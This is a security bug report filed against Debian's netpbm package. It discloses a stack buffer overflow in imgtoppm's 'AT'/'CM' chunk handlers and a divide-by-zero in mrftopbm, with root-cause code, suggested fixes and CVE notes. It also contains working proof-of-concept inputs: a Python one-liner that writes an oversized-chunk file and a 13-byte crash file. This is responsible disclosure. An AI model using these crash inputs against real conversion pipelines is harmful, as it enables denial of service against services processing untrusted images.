Package: netpbm Version: 2:11.13.03+ds-2 Severity: important Tags: security patch
Dear Maintainer,
imgtoppm (/usr/bin/imgtoppm) contains a stack-based buffer overflow
(CWE-121 / CWE-787) reachable from a single untrusted input file, with no
authentication or user interaction.
Root cause
----------
In converter/ppm/imgtoppm.c, the "AT" and "CM" chunk handlers read an
8-byte ASCII length field, convert it with atoi(), and then fread() that
many bytes into a fixed 4096-byte stack buffer, with no check that the
length fits the buffer:
unsigned char buf[4096]; /* line 35 */
...
buf[8] = '\0';
len = atoi((char*) buf); /* line 63: len up to
99,999,999, not clamped */
if (fread(buf, len, 1, ifP) != 1) /* line 64: writes len bytes
into buf[4096] */
pm_error("bad attributes buf");
buf[len] = '\0'; /* line 66: additional OOB
write at offset len */
The same pattern is repeated in the "CM" handler (lines 85-86). 'len' is
fully attacker-controlled and is never compared against sizeof(buf). The
fread() return-value check does not prevent the overflow: glibc fread
writes the bytes it reads before returning, so supplying e.g. 6000 bytes
overflows the buffer even though fread then returns 0. The signature is
not validated, so the vulnerable path is trivially reachable.
The Debian 10_netpbm-security-code.patch hardened the multiplication
overflow paths in this same file (overflow2(cmaplen,3), overflow2(cols,
rows)) but left these length-driven fread() reads unbounded.
Proof of concept
----------------
python3 -c '
sig = b"IMG\x00\x00\x00\x00\x00" # 8-byte signature (not validated)
tag = b"AT" # attributes chunk
length = b"00006000" # atoi() -> 6000, no clamp to 4096
payload= b"A" * 6000 # 6000 bytes ->
fread(buf,6000,1) into buf[4096]
open("poc_img.img","wb").write(sig+tag+length+payload)'
$ imgtoppm poc_img.img > /dev/null
*** buffer overflow detected ***: terminated
Aborted (exit 134 / SIGABRT)
Under AddressSanitizer the underlying out-of-bounds write is confirmed:
==ERROR: AddressSanitizer: stack-buffer-overflow
WRITE of size 6000 at 0x... thread T0
#1 main converter/ppm/imgtoppm.c:64
'buf' (line 35) <== Memory access overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow
converter/ppm/imgtoppm.c:64 in main
Impact
------
Any service that runs imgtoppm on untrusted input (image conversion /
thumbnailing pipelines using the netpbm toolchain) is affected. On the
default hardened Debian build (_FORTIFY_SOURCE + stack canaries) the
overflow is detected and the process aborts, i.e. a reliable denial of
service; the underlying out-of-bounds write is real (ASan-confirmed) and
is more severe on builds without fortify/canaries or via the
buf[len] = '\0' arbitrary-offset write.
Suggested fix
-------------
Clamp the chunk length to the buffer size before reading, in every chunk
handler ("AT" and "CM"):
len = atoi((char*) buf);
if (len >= sizeof(buf))
pm_error("chunk length %u exceeds maximum %u",
len, (unsigned) sizeof(buf));
if (fread(buf, len, 1, ifP) != 1)
pm_error("bad attributes buf");
This also removes the buf[len] = '\0' out-of-bounds write.
Secondary issue (same package, lower severity)
----------------------------------------------
converter/pbm/mrftopbm.c has a reachable divide-by-zero (CWE-369 / SIGFPE).
cols/rows are read from the MRF header; w64 = (cols+63)/64. When cols == 0
(or rows == 0), w64/h64 become 0 and the overflow guard divides by them:
if (UINT_MAX/w64/64/h64/64 == 0) /* line 169: UINT_MAX/0 -> SIGFPE */
pm_error(...);
PoC (13-byte file): "MRF1" + cols=0 (4 BE) + rows=1 (4 BE) + subtype 0x00
$ mrftopbm poc.mrf
Floating point exception (exit 136 / SIGFPE)
Fix: reject cols == 0 || rows == 0 before computing the guard.
Notes
-----
No CVE was found tracking the imgtoppm overflow; historical netpbm CVEs
cover other tools (giftopnm CVE-2008-0554, xpmtoppm CVE-2009-4274,
pnmtopng CVE-2005-2978). Both issues are present and reproducible in the
current shipped version 2:11.13.03+ds-2. I am happy to help validate a
fix and to coordinate CVE assignment.
Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
[email protected]
make_poc.py
Description: Binary data
poc_mrftopbm_divzero.mrf
Description: Binary data

